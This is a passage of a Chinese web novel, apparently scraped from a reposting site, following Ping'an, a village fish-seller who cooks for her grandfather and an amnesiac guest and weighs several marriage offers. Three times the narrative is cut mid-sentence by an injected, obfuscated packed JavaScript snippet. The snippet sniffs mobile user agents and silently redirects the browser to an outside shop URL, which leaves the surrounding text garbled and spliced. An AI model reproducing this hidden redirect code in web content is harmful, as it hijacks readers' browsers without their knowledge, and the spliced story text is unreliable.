平安悠哉地坐在院中，朝自家爷爷比了个嘘声手势。 这丫头，惯会捉弄人。 胡水生无奈止言，继续编着手中的竹篮。 这些笋子，他们三个人自然是吃不完。 吃上几餐尝尝鲜，剩下的放坛中腌制，可做些酸笋。 也可切成薄片焯水，放置竹箩中晾晒几日，晒得干了，便可去集市上卖笋干。 若是有时间，还可寻来柏木，橘皮在大缸中搭个火，将盐卤的笋子熏个半日，就可做出味道独特的烟笋。 她爷每年这个季节，都会抽上几日随平安去镇上叫卖。 除了卖一卖村中特产，他亦会带上自己编织的那些斗笠竹篮之类的竹编品。 运气好了，遇上几个熟人，或许就能在夏季到来之前卖上几件竹睡椅、凉席之类的大件。 见平安蹲身处理竹笋，木头赶忙拉住她。 倏地，注意到胡水生的视线，他飞快地放开平安的衣袖，只期期艾艾喊道：“胡娘子，你受了伤，让我来吧。” “好。”平安笑得温柔，直把胡水生惊得汗毛竖立，这丫头，葫芦里又在卖什么药。 “你把外边表皮剥掉，剥完的笋子就放这个箩筐里。” 平安自己则回到灶房，取出一条冬日腌制的腊肉。 这腊肉是上好的五花所熏制，挂在梁上依旧色泽金黄，只沾上些灰尘。 砍上一半清洗干净，另一半继续挂好。 平安将洗净的腊肉切成薄片，取出一片迎着光细看，这腊肉两肥三瘦，肥瘦均匀，颜色清澈，中间那两层油脂，更是晶莹透亮，看着便油水滋润，让人垂涎欲滴。 切好的腊肉焯水洗掉部分盐味，盛出备用，在等待的过程，平安又另备好蒜苗与芥辣酱，只待笋子到来下锅。 平安之前用竹叶熏制的那根笋子这会也有了归处。 等备好配料，平安出门从竹林捡回那笋，这才回到灶房继续焯水。 谁知这木头竟也跟着巴巴进来，见平安回首看他，他睫毛轻颤，忙不迭偏过头去，一张如玉的俊颜笑得羞赧又讨好：“胡娘子，我帮你烧火。” 看着屋外尚未剥完的笋堆，平安无奈点头。 这人，做事皆是一时兴起，确实不像个靠谱的。 从缸中舀上两瓢水入锅，将笋子洗净后切成薄片。这笋果真鲜嫩无渣，切的过程平安都不敢使劲，生怕将这笋子给压成碎片。 做完这些，她方起锅烧油，下蒜米、茱萸爆香，接着便倒入腊肉爆炒。 “火大一些。” 木头闻言，默默多添了两根柴。 随着柴火发出噼里声响，灶炉中烈火熊熊，温度急剧上升，不过片刻，腊肉的熏香与蒜香、辛香便在热油的激发下瞬间爆发出浓烈又馥郁的荤香。 正在烧火的木头鼻翼微微翕动，没忍住咽了下口水，他抬头朝灶台望去，恰好与平安视线对上。 瞧他这馋嘴模样，平安好笑地用铲子挑起一块肉递给他。 他犹豫半晌，看了眼自己的手，终究还是接过。 熏香的腊肉卜一入口，木头便眼前一亮，顿时被这奇特的香味所俘虏。 此时笋片的水份早已沥干，将白嫩微焦的笋片倒入腊肉中翻炒，待将笋片翻炒均匀，平安方倒入酱汁大火翻炒入味。 起锅前，再撒入切好的蒜段增香提味。 再炒上一个小菜，今儿的晚膳就可敷衍过去。 “唔，竹笋脆嫩入味，腊肉咸香扑鼻，与我之前吃过的腊肉都不一样。”木头闭着眼睛，陶醉评价。 “你记起来之前吃过腊肉？”平安好笑问道。 木头却摇头：“只是下意识觉得以前吃过，再想，却想不起来了。” 平安自个夹了一块尝味，嗯，木头也并未撒谎奉承她，今儿这春笋腊肉是真香。 刚出锅的菜还带着炽热又扑鼻的锅气，红白相间的腊肉、酱色的笋子与翠绿的蒜段在盘中交错，幽幽散发着腊味独有的柏木清香。 腊肉咬下去一口爆汁，肥瘦相宜，油而不腻。 确实色香味俱全，连她这不爱吃肥肉的人也能吃下好几块。 而这笋子，脆卜卜，嫩生生，早已在爆炒过程中沾染腊肉的荤香与独特熏香，每一片都吸满香辣的汤汁。 便是不吃肉，只吃这笋，都可下好几碗饭。 果然，一抬头，就见她爷和木头接连起身盛饭。 对于木头的饭量，平安是第一次深刻体验到半大小子，吃穷老子这句话的威慑。 是真能吃啊，每日她家都得多煮两斤米。 可他光吃却不长力气，着实有些浪费粮食。 等晚膳吃完，平安拍了拍木头的肩，示意他跟爷爷去浇水，喂鸡鸭，她则承担起洗碗的任务。 农家人，便是未耕田，为了生计，无论如何也是闲不下来的。 春秋耕收、夏日采莲、冬日挖藕清塘，农闲时还得绞尽脑汁去挣些银钱。 这样的生活，具体到每日里，那便是无尽的除草、浇水、开荒、喂养牲畜、挑水、烧水，洗衣做饭，样样皆费时费力。 更别提她与她爷都另有正事，这些不起眼的杂活，还得趁着休息时间来做。 平安心想，过几日便要春耕，她觉得还是花些钱请人耕田算了，就她家这老弱病残，耕完两亩田，怕是都得被剐掉一层皮。 洗碗的平安听得后面鸡笼中传来的阵阵诧呼之声，心中无奈叹息。 这样娇生惯养，怕累怕脏的郎君，确实不适合在脏兮的农家久住，一时间，平安心头那荒谬的冲动也逐渐平息。 次日清晨，叮嘱好木头勿要乱跑，在家多帮爷爷干活，平安又提着她那几个大桶，踏上卖鱼的旅程。 因着蚕豆有限，她池塘中的脆肉鲩并不算多，十日能卖上两日便算好。剩下的日子，多只有鲫鲤鳊青黑鲢草这类常见鱼儿可卖，鲈鱼鳜鱼小银鱼都算得上精贵玩意。 至于大河里的鲥鱼、鮰鱼、鲔鱼，鲟鱼，那得夏季才捕得到。 俗话说千斤腊子万斤象，若是能捕上一头大的，少说也能卖个几十贯。只是这鲔鱼鲟鱼常栖息在长江深水区，捕捞难度大，非大船不可得。 平安混迹大河多年，也就捞到过两回鲟鱼，个头还都不大，想来是跑到支流觅食的幼崽，但也给她带来好几贯钱的收入，她想，等到夏季，她非得去大河寻寻宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053563|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可。 这不，许娘子今儿又来找她。 许是前几日官府开始在河道巡逻，今日镇上来往的游商变多，脚店生意变好，许娘子来她这买鱼也愈发频繁。 “给我来一条鲫鱼，一条胖头鱼，一条草鱼。” 许娘子大手一挥，给平安来了桩大生意。 “好呢，要活鱼还是现杀？” “鲫鱼红烧，胖头鱼鱼头清蒸，鱼身片汤，草鱼切块。” “明白。”平安将鱼分别上称。 “鲫鱼十文一斤，两斤三两，二十三文。胖头鱼十二文一斤，四斤三两，抹个零，就算五十一文。草鱼八文一斤，五斤二两，就算四十一文。” “一共一百一十五文。”平安飞快报数。 许娘子点点头，待平安将鱼处理好，这才掏出铜子付钱。 这样多东西，她也不好拿，平安拜托方娘子她们帮忙看个店，这才拿自个的盆替她装好那些鱼肉送到她脚店。 今日生意果然兴隆，小小的店里，尚未到午时，便已坐满客人。 而店外还有砧板师傅在外处理鸡鸭，这会见许娘子归来，正热情与她招呼。 仿佛是察觉到平安的视线，许娘子进门后笑着解释： “店里实在太忙，我想着胡娘子你动作利索，咱们这也能快些出菜。” “哎。”平安笑得自在。 “许娘子莫要客气，客人们相信我才愿意让我杀鱼，你们生意好，我生意也好，咱俩互惠互利，不说其他。” “是个好娘子。” 许娘子拍了拍平安的手，引着她进了后厨，见陌生娘子进来，后厨的人见着平安容貌皆两眼一亮。 许娘子自是没错过众人的视线，又笑着招呼平安：“来都来了，喝口茶再走吧。” 平安忙出言婉拒，可这许娘子今日实在热情地过分。 她再难拒绝，就这样被她拉到后院，谁知这后院里竟有一白衫学子捧着书在树下石桌静坐。 外边是喧嚣的市井烟火，这里面竟别有洞天，意外地宁静祥和。 见平安注意到自家儿子，许娘子轻声在她耳边介绍：“这是我那书呆子儿子季泽，平日里只晓得与书为伴，这不，咱们进来了都不知道。” 平安只是抿唇轻笑，回道：“这是好事，小郎君若读书出息，许娘子你也可以跟着享福了。” “那是。”许娘子说完，挑眉看向平安。 她如何还不明白，这许娘子这是想将她说给自家儿子。 承蒙她看重，可是她招赘的心不会变。 那季小郎君这会也发现了两人，忙起身朝两人问好。 待他视线掠至平安脸上，那张俊脸腾地爆红，随即快速垂眸不敢再看她。 许娘子自己生的儿子，如何还不知他的小心思，当下也是笑意吟吟送着平安出了门。 “我这儿子已有了童生功名，只是性子软弱，我呀，就怕他被人骗，就想找个立得住的儿媳帮帮他。” 平安扭头凝视许娘子，笑道：“镇上这样多好人家，许娘子定会得偿所愿。” 看她不搭话，许娘子也不再绕圈子：“胡娘子，我听过你的事迹，但我与你相处之后，觉得你是个勤快善良的好娘子，你先别着急回绝。我这么多年也略微攒下些钱财，若是你有意愿，咱们就在镇上买个小院子，将你爷爷一并接来住。” 见平安朱唇轻启，拒绝的话好似马上要说出口，许娘子忙接着打断：“你莫要急着拒绝，你若要给你家传宗接代，我也不反对，左不过生两个，两边一人一个，你看可成？” “好孩子，回去好好考虑考虑。”许娘子挽着她的手，送她到门口。 待回到档口，平安依旧恍如置身梦中。 许娘子这条件，确实令人心动，可天上，真会有这样的馅饼存在吗？ 12. 杀鱼的第十二天 禁渔期内，紧俏的鱼就鲫鱼、鲈鱼与小河鱼，草鱼青鱼那些大鱼则多仰仗富贵人家与脚店生意。 如此下来，平安每日里的生意就起伏颇大，生意好时虽可收得三四百文，但她这些鱼大都是从官府指定码头进货，刨除成本，每日净利多则百文，少则几十文。 她这档口每月租金得一贯二，只要当日无收入，对平安而言就得倒亏租金。 这样一算，平安无论如何也舍不得关门歇业。 “我回来啦！” 提着新贩的鱼，平安欢快地敲了敲院门。 其实她家以前不怎关门，实在是木头的身份有些微妙。 为免闲逛的邻居们推门而进发现这个祸患，平安只得让她爷将门暂时锁上。 果不其然，听到她的声音，开门的是一脸憨笑的木头。 平安被他脸上灿烂的笑容闪了眼，这样朴实的笑容出现在他那张温润矜贵的脸上，她只觉违和。 他的讨好实在太过明显，她无法视而不见，只得朝他轻轻颔首，随即朝胡水生喊道：“爷爷，我回来啦。” 胡水生听得孙女的声音，赶忙放下手中的活，想要去接她手中的桶，刚抬眼，就见眼前那高大的身影已抢先一步动作。 胡水生动作微滞，随即温和问道：“安安，今天在外面累不累呀？” “还好的，爷，咱们今晚也吃顿鱼吧？” 今儿闻着许家娘子脚店的鱼香味，她突然馋起鲫鱼来了。 “好，安安想吃什么青菜？” “苋菜吧。” “成。” 爷孙俩三两句将今日晚膳敲定，木头夹在中间倒也不尴尬。 他一会帮胡水生打水清洗苋菜，一会又殷勤地要替平安烧火。 看他积极寻活干，平安唤他去菜园掐几根葱洗净。 待拿到缝隙中满是泥巴的香葱时，平安暗叹一声。 “木头，你可有想找到家人？或是我们再去官府找人替你找找他们？” 家人，木头脑中忽地传来阵阵胀痛，后背瞬间冷汗直流，潜意识告诉他，他并不想回家。 见他笃定摇头，平安只得出言安慰：“你勿要担忧，既然收了你两颗宝石，在这个家中，有我们一口吃的，就有你一口吃的。” 看他没有回答，平安停下处理鱼的动作，纳闷望去，就见这木头抿唇浅笑，那双潋滟生辉的桃花眼这会正盯着她瞧得入迷。 心中存了事，平安这会无意撩拨少年春心。 她扯了扯僵硬的嘴角，回了个敷衍的浅笑后不动声色与他拉开距离。 将鲫鱼刮鳞、剖腹、改花刀，平安捏了把细盐将鱼身搓匀，又塞了三块姜片进鱼腹部。 铁锅烧热下入凉油，做菜几年，平安逐渐摸出门道，这油炸鱼儿，要么便凉油下去，要么就要将油烧得足够热。 否则要热不热，鱼一下锅，那层鱼皮必定被铁锅粘住。 “木头，加把火。” 见着灶房内青烟袅袅升起，平安这才小心翼翼将腌好的鱼沿锅边缓慢放下。 鱼乍一下锅，滋地一声响，油锅内便油花四溅，咕噜冒泡。 木头吓得往后一缩，随即担忧地望向平安。 看她动作灵敏地取来锅盖抵挡，他方暗松一口气。 不多时，一股鱼肉炸酥的特有焦香便四处扩散弥漫开来。 平安将鱼翻面，果然，这一边的鱼皮已被炸得金黄发酥，显现出条条漂亮的花刀来。 将炸得两面金黄的鲫鱼盛出备用，平安另将备好的姜蒜芥辣用热油、酱汁爆出香味。 “咳咳。”木头被这刺鼻辛辣的香味呛得连连咳嗽。 他抬头看向平安，见她面不改色，在灶台前依旧不动如山，他已到喉间的问候只得默默咽下。 鲫鱼再度下锅与香料翻拌入味，最后撒上紫苏提香，锅中的鱼香瞬间得到升华。 还不够，这样的鱼还差一些味道，平安翻箱倒柜寻来一壶她爷未喝完的黄酒。 她捧着这壶酒，蹑手蹑脚走到门旁，小心翼翼地伸头往外瞅去，见她爷正埋头干活，这才放心倒上小半壶盖盖焖煮。 正在堂屋中剖篾的胡水生闻着灶房飘来的幽幽酒香，手中动作微顿，随即轻笑着摇摇头。 待小火将锅中汤汁熬至半干，平安这才将鱼盛出，将剩余的些许汤汁洒在鱼身。 将锅□□安打了锅油汤，待汤沸腾，汆入嫩生生的苋菜尖尖，便做出一盆清爽的苋菜。 今儿这鱼，外酥里嫩。在姜、蒜、紫苏，黄酒，多种配料的作用下，早已将鱼腥味祛除干净。 而油炸与焖煮两道工序，既可让表皮酥软裹满浓郁鲜香的汤汁，又让鱼肉在保持鲜嫩的基础上，浸入辣味与各色辛香料的香味。 吃起来自是外酥里嫩，一戳就烂。轻轻拨弄一块白如蒜瓣的新鲜鱼肉，沾上些许汤汁，便可一口体验酥软鱼皮与丝丝清甜细嫩鱼肉在醇香汤汁中完美融合的快乐。 这样做出来的鲫鱼，咸、鲜、香、辣，却又保留了鲫鱼的本真清甜。 下饭不说，又不容易卡喉，平安觉得这是鲫鱼最好吃的做法之一。 她拿调羹舀了些许汤汁拌饭，又取公筷夹了最好的鱼肚肉给爷爷，自己夹上几块鱼皮，三两下一碗米饭便已入腹。 若觉稍咸，一旁青翠欲滴的嫩苋菜便可以其清淡缓解口中的咸意。 相处久了，木头在桌上也不再刻意夸捧平安，只是他那飞速见底的饭碗却已明显昭示着他的满意。 这日，钱冰人那边又传来消息，道那汤家她去过一趟，那汤家大嫂称财礼可以少些，但不能低于四十贯。 平安听到这个消息，便已决定放弃。 观那汤二郎与嫂子的相处她便知道，汤家二郎是个耳朵软的。他那嫂子要这样多财礼之事，明显未与他商量。 而他呢，也不说反抗，只是躲在嫂子身后等待一切尘埃落定。 这样的家庭关系，这样怯弱的夫君，平安心想，若与他成了亲，怕以后日子有得磨。 让平安没想到的是，接到她回绝的消息后，那汤二郎君后边竟私下寻到玉溪镇来，挡在了平安回家的路上。 “汤郎君。”平安提着木桶朝他招呼。 “胡，胡娘子。”汤缙藏在袖中的手略微发颤，抿唇看了眼四周，方低声对平安解释：“财礼之事，非我本意，还请胡娘子给我个机会，我愿意与你。” “汤郎君。”平安笑着打断他，“过去之事便过去了，你还是与家中商量好再与我谈此事吧。” 汤二郎伸出的手僵滞在空中，最终又缓缓收了回去。 “好。”他低声喃喃，“胡娘子，你等我。” 平安只是笑了笑，并未说话。 望着他失魂落魄的背影，她无奈叹息，提步欲走，却闻身后又有人唤她。 平安诧异回头，竟是许娘子家的季书生。 “季郎君，可有事？”平安笑问。 谁知季泽嗫喏半晌，只是沉默着摇摇头。 看着他骤然泛红的耳尖，平安瞬间明悟，只是她现在并未考虑好许娘子的提议。 她与同龄郎君无甚相处经验，对于他这样的示好，她也有些无所适从。 “那。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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混迹市井多年，平安早已对这些混不吝的荤话免疫，对方流氓，她就要比他们更流氓。 “在这玉溪镇，倒是好久未曾有年轻郎君敢与我说话了，今日倒是见了个饱。”话毕，平安嘴角微挑，饶有兴趣地上下打量他们几眼，随即默默摇头。 好久不发威，都当她是病猫。 她摩拳擦掌，挑衅讥笑：“到底是谁扛不住，不如上岸比划比划。” 看平安面无丝毫羞怯之色，那人反倒没了兴致：“嘿，你这小娘子，打趣你几句，还当真了。” 说是这样说，只是那人眉目之间尽是桀骜，显然未将她放在眼里。 他身后一人皮肤黝黑，断眉压目，眉宇间满是戾气，平安瞧着他倒是颇不服气。 只她脾气也不是个好的，面对这般挑衅，平日里受够骚扰的窝囊气这会也一齐涌上心头，只待寻条爆发之路：“自然，好不容易得了个招赘婿的好机会，我岂可放过？”她单手叉腰，朗声应道。 那头头吭哧大笑：“快走吧，你这瘦削的娘子，若是被我们打一拳，那怕是骨头都得断了。” “是啊，哈哈。” 出乎那头头意料，他们话音未落，船上那断眉便一溜烟跳至平安身前。 二话不说，一拳飞速袭向平安。 “老三！”那为首船长呼之不及，只得侧过身去，不忍看那娘子惨状。 早在那些人调笑之时，平安便留意此人，见他飞身下船，她推开担子，藏在袖中的双拳紧握，右脚朝后轻抵。 13. 杀鱼的第十三天 待那人拳风迎面而来，平安灵巧侧身，一把挥开他的拳头，反手一记勾拳。 只听得咔嚓一声脆响，那人右手软软下耷，平安见状，见缝插针抓住他衣领，直将人举过头顶。 四周喧嚣声顿止，船上众人瞬间回神，亦不知是庆幸还是担忧，他们喜欢过过嘴瘾不假，可也不想在这异乡把事闹大。谁料老三依旧控制不住脾气，谁料这娘子竟真有两把刷子。 平安朝船上望去，仰头笑问：“我之前所述属实，如何？若谁能抗揍，我愿聘他为夫。” 眼见高大勇猛的老三在她手中毫无反抗之力，他们哪能不知这娘子句句讲的都是真话。 当下也咽了咽口水，恭声回应： “不，不必。”这娘子这般勇猛，等闲人可承受不住。 为首那人强扯出一抹笑意，往后趔趄一步。 还以为是个娇弱的美娇娘，嘴贱了几句，没成想是个粗鲁的母老虎。 这样的美色，他们可没小命消受。 小娘子还得是温柔娇俏的才惹人爱。 平安若是知道这群人心中所想，只会恨方才的力气只使了三分，这样欺软怕硬的怂包子，是只爱娇柔娘子，还是只能拿捏住娇柔娘子呢？ 今日没去大河码头进货，但因着刚刚那件事耽搁，她回去得比平日要晚。 提着前日里下的笼子敲响家门。 咯吱一声，木头那张俊脸瞬间出现在门旁。 平安赶忙侧身跨进门内，随即反锁院门。 木头望着她这副讳莫如深的紧张模样，如何还不知她心中所想。 他是失忆了，但没傻。 这人这副做贼的模样，分明是怕死了别人发现他，他就这样见不得光。 “你今日回来迟了，你。” 他故意提高音量，一双桃花眼直勾勾盯着平安。 果不其然，话音将落，就见这女人神色焦急，一把丢掉手中物什，上来就要捂他的嘴。 “唔。” “放开我。”木头死命摇晃，却半晌挣脱不得。 “呕！” 她的手，怎生一点也无女儿家的清香，反倒满是那令人反胃的鱼腥味。 看她上手，他本心下暗喜能与她如此亲密接触，可她捂上来的那一瞬间，他便瞬间后悔，那种难闻的味道满满当当全部冲进了他的鼻腔，让他恨不得把隔夜饭吐出来。 木头生平第一次发现，世上竟真有女人的言行与容貌有如此大的反差。 是了，小娘子身上就应当香风阵阵，幽香扑鼻，木头觉得，他好似想起了什么事，是什么？ 他愣怔半晌却不得解。 平安自然没错过他眼中的嫌恶。 扪心自问，虽她早知自己言行粗鲁，但面对这样明晃晃的嫌弃，她心中亦不舒服。 或许，她可以认真考虑许娘子的建议？ 起码人家知道她的名声，也愿意包容她家的情况。 如果她身边有个男人，即便只是个装饰，那她面对的流言蜚语与骚扰，便能消弭大半。 想起来，可笑又可悲。 对于自己这张脸，平安又爱又恨。 谁人不爱俏，她也是俗人一个。 可她的脸，除了自个照镜子时看得开心，从小到大，亦给她招来数不尽的嫉恨与麻烦。 这样明艳的一张脸，只能娇养在高门后院，却不该出现在偏僻的村镇。如果出现了，她只能尽量遮掩它的光芒。 平安轻抚脸颊，闻着熟悉的鱼腥味，她眼帘低垂，嘴角扬起温和的假笑。 见平安半晌未跟上，木头转身欲拉她，就见她正满目柔情低头傻笑。 他知他自己皮相长得好，定是受小娘子喜欢，可今日瞧着胡娘子看他也看了入迷，一时间不由心花怒放，沾沾自喜起来。 他就知道，没有小娘子能逃脱他的情网，不枉他多日来伏低做小，讨好于她，这下还不是被他乖乖拿捏。 “咳咳。”木头仰头清了清嗓，正欲开口。 “走了。”平安收敛笑意，声音泠然。 木头的笑瞬间僵在脸上，心中更是百转千肠。 刚刚还好好的，也不知她为何突然变脸，他心下不由暗忖，这女人心果真似海底针，变脸比六月的天还要快。 当下他心中的自得便消减一半，停顿半晌，闷声憋了个“嗯”字。 既心中已经暗下决定，平安面对木头时心态愈发坦然，装模作样的日子可真累。 她看着劈好的柴火与满满当当的水缸，随口夸赞：“你在家辛苦了。” 虽然这郎君砍的柴火大的大，小的小，乱堆在一旁，水缸旁飞溅的水渍已积攒出一滩水，但平安觉得，不必强求过多，这样娇贵的郎君，能动手干活就已是进步。 “哪里，哪里。”木头嘴上自谦，但嘴角已抑制不住地上扬。 平安心想，他现如今这副傲娇模样很是眼熟，像谁呢？ 她余光瞥见在外疯狂摇尾的灰灰，突然会心闷笑。 收了他的钱，她会让他得到应有的照拂。 只是若她快成亲了，他还未找到家，那也只得给他盘缠，请他再去官府寻亲去了。 今日三个地笼收获不多，除了几条黄骨鱼、鳑鲏、小鲫鱼外，就只有一些寸长的小青鳉与小河虾。 这种小鱼小虾不经放，怕是过不了夜就得全部升天。 数量也不多，卖又卖不出什么价。 平安咽了咽口水，为免它们隔夜发臭，她决定做回恶人，早日送它们入新轮回。 净手烧锅，平安将在笼中蹦跶的小虾米清出，用清水冲洗几遍后，抹盐放入烧红的铁锅之中。 活蹦乱跳的小虾米卜一下锅，便被炽热的铁锅烫得通红，有那活力满满的，更是被这热意激得跳出了锅。 平安眼疾手快取来锅盖，一手颠锅，一手紧压锅盖，不消十息，再掀锅，里面的虾米已成红彤彤一片。 正巧家中的三鲜粉不剩多少，她今日烙上些许小虾米，明儿加些煸香的香料和晒干的笋片、菌菇一块磨成粉，留着以后做菜调味用。 这三鲜粉她做了好些年，清汤里加上一勺，做出来的汤比肉汤还鲜。 平日里她做阳春面、炒菜，炖肉时都爱用。 至于这剩下的小鱼小虾，平安喊来木头，让他一块将鱼胆内脏掐掉。 “胡娘子，这鱼实在太小了。”木头捏着不到手指粗的小鱼，愁得那修长的剑眉霎时皱在一块。 “小心些便行。”平安左手捏鱼，右手灵巧地往鱼鳃下边抠去。 “这不。”她的话戛然而止，平安看着手中断成两截的鱼，尴尬片刻。 “咳咳。”她清了清嗓，找补一句，“断了也行，正方便咱抠鱼胆。”说着她收敛力气，小心翼翼地挑出细如丝线的内胆。 木头点点头，抿唇应下。 “我觉得这个头有点苦味，但我爷不爱浪费，咱们能留住鱼头便留。” 待晚上，胡水生瞅着一盘子身首分离的小鱼仔，亦无奈暗笑。 虽然卖相差了些，但味道却极其鲜美。 阳春三月，正是万物新生的好时节。 这新鲜捕捞的鱼虾因着生自水质清澈的静水池塘，吃着水中藻类长大，肚肠内还算干净，肉质也格外清甜鲜嫩。 只用细盐与薄油煎焙便酥脆喷香，更何况又自坛中取出了酸藠头与酸萝卜搭配。 说是酸，但实则酸味极淡，入口更为甜、脆、辣，单吃下酒可行，做配菜增香去腥更是上等。加入鱼虾之中不但不会使鱼虾串味，还可给菜肴增加风味，两种味道互不干扰，相得益彰。 将新鲜鱼虾下油锅爆炒，再入切碎的藠头萝卜翻拌入味，锅中霎时传出浓烈的呛香，将烧火的木头熏得喷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053565|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚏连连。 熟虾颜色通红，出锅前撒上些许翠绿的韭菜花搭配更为赏心悦目。 这样做出来的鱼虾一碗香，极大的激发了鱼虾的鲜美与清甜，入口鲜香味浓，回味无穷。既可下饭，又可下酒。 平安见祖父眼眸微眯，一脸陶醉，很是知趣地去取来竹升给他倒上一杯酒。胡水生夹了一块切碎的酸萝卜丁，酸辣爽口，正好可小酌一杯。 他就说，孙女这手艺没得说，这坛子里的酸泡菜，生来就是要他们这的鱼虾为伴的。 木头的双手早已在一只又一只小鱼的腌制下，沾满了鱼腥味，任他怎样拿清水搓洗，都难以去除这个味道。 平安看着他一会闻手皱眉，一会又欣喜地品尝鱼虾，心中暗哕，在她们村里，哪个没被鱼腥味腌入味过。 且让他熟悉这味道，解药明日再给他。 平安承认，她就是这么小心眼。 现在天尚且不热，为着节省柴火，胡水生基本是隔日洗澡，平安则因杀鱼身上沾染血渍，每日都得清洗。 而木头，他在家中基本没怎么干重活，出汗少，热水自然不会紧着他用。 “胡娘子。” 平安正埋头搓洗着衣物，就见面前的光霎时被人挡住。 她并未抬头，只问：“何事？” “我，我今日也想沐浴。” 看着他那两颗宝石的份上，平安笑着应下：“瓮坛里有剩热水，你去舀几瓢就是。” “瓮什么？”他扯着衣角，小心问道。 “就是灶旁边的那个温水坛。” 看着他欢快离开的背影，平安也觉自己有些幼稚，他就是个家都找不着的外地人，说起来也有些可怜，自己与他计较什么？ 她一直说着官话与他沟通，他都有些听不懂，遇上她那只会说几句官话的爷，白日里交流不畅，不知如何过活。 许是洗漱干净，全身焕然一新给了木头勇气，他竟又挡住平安去路。 眼前这穿着她爹旧衣的年轻郎君，姿容如玉，神仪明秀，朴素的麻衣不但未掩盖他眉眼间的矜贵傲气，反倒衬得这身衣袍价值倍增。 “怎么了？”她觉得这人今日有些不对劲。 “你，你今日为何回来迟了？” 平安倒是不察他竟如此敏锐，她不想回答，也不想让她爷听见担忧。 遂只是轻笑回应：“今日地笼位置被水流冲刷移动，寻得久了些。” 木头嘴唇嗫喏，突然倾身靠近。 平安被突如其来的高大身影给吓了一跳，她一点也不习惯仰视别人，下意识便往后退了一步。 只听他压低声音道：“你别骗我，你今日比平时晚回来半炷香，面上又强颜欢笑，外边是不是有人欺负你了？” 平安怔愣半晌，方自嘲笑应：“就我这每日蓬头垢面的穷酸样，谁吃饱了没事做来欺负我啊。” “你。”木头看了她一眼，顿了顿，方才嚣张的气焰也萎靡下来，“你莫要如此贬低自己。” “是吗？” “是，你长得好看，外面多得是不怀好意的男人，你要小心些。” 平安倒是有些讶异他竟会关怀自己，虽早已决定要与他保持距离，但看在他如此真挚的份上，平安望向他的目光中也带了几分坦诚：“多谢你的好意，我会注意的。” “你，要不。”见平安转身要走，他赶忙拉住平安衣袖。 看她目光斜斜落在他的手上，他似火燎般将手缩回，这一次，他终于吐出了心中酝酿多时的想法。 “不如，我以后每日陪你出去吧，还可以照顾你一二。” 男未婚，女未嫁，平安才不想接受他这馊主意，黄鼠狼给鸡拜年，不安好心。 与此同时，她心中悬挂多时的巨石也摇摇晃晃，终究将要落地。 她就知道，关不了这人多久，他想要出门了。 14. 杀鱼的第十四天 今日的生意不好不坏，但人情还算温暖。 这不，熟客曹伯听得平安相看失败的消息，在买鱼的间隙也不忘出言安抚。 “莫忧心，钱冰人那若是还有好郎君会优先考虑你的，你是个好孩子，那些错过你的人是没福气。” 平安笑着给他撇开鱼骨，用刀比着两指宽的草鱼肉。 “够吗？” “够了够了，就老俩口，吃不了多少。” “是极，就是要吃新鲜的，肉质才鲜甜。”平安点头赞同。 今日的客流零零散散，可许娘子她们那片的脚店生意倒都不错。 眼瞅着到了中午，平安这鱼还没卖完，便坐在档口吃今早带来的干粮。 来买鱼的许娘子看平安抱着饼在那里啃，忙上前热情邀约。 “胡娘子。” “走，去我店里吃饭。” 平安听她这样好客，忙咽下口中的煎饼，委婉拒绝：“已经吃饱了，多谢您的好意。” 纵使她心中对许娘子之前的提议有些意动，但她却不好这样占别人便宜。 见被拒绝，许娘子迂回叹道：“请你这样多次都不去，那去我店里喝口茶总成。” 话说到如此份上，平安也不好再拒绝。她看着许娘子慈爱的目光，心下微松，被她软软拉走。 “这就对啦，咱们乡里乡亲的，勿要见外，不讲究那些虚的。” 见平安松口，许娘子喜不自胜，胡娘子这模样，显然是愿意接纳她的信号。 许娘子的脚店，坐落在河对面，从市集过去，得穿越玉溪河上那座巍峨古朴的石桥。 从脚店窗扉往外看，恰好可望见河边密立的护堤垂柳。 嫩绿的柳叶倒映在波光粼粼的水面，似一副河堤垂柳美景图。 除了许娘子自己在店内帮工外，她还另聘了一位主厨，一位案板师傅和一位打零工的洗碗娘子。 她一人盘起这样大的家业，属实能干。 虽未开过脚店，但平安也知，开脚店的铺子平日里用膳都是等客人散尽再支桌。 看着店内熙熙攘攘的客流，平安瞬间明白眼前这一桌丰盛饭菜，怕是许娘子特意所置。 这里人来人往，他们亦非亲非故，平安是无论如何也不好在众目睽睽之下与他们一同用膳。 为免落人口舌，将鱼递给案板师傅后，平安找了个蹩脚借口歉意请辞：“许娘子，我突然想起档口有急事未处理，便先行告辞了，咱们改日再约？” 可许娘子拉着她的手怎么也不松开，只道：“来都来了，随意一起吃点。” 四周的人见状也轮番劝说请她留下。 “胡娘子。”季泽见平安过来，身体情不自禁前倾一步，脸上是掩盖不住的雀跃。 不过，他终究还是有些羞赧，似想到什么，与她轻声招呼过后，便抿着唇不再作声。 “我这破记性，走到这才突然想起。许娘子，实在是抱歉。” 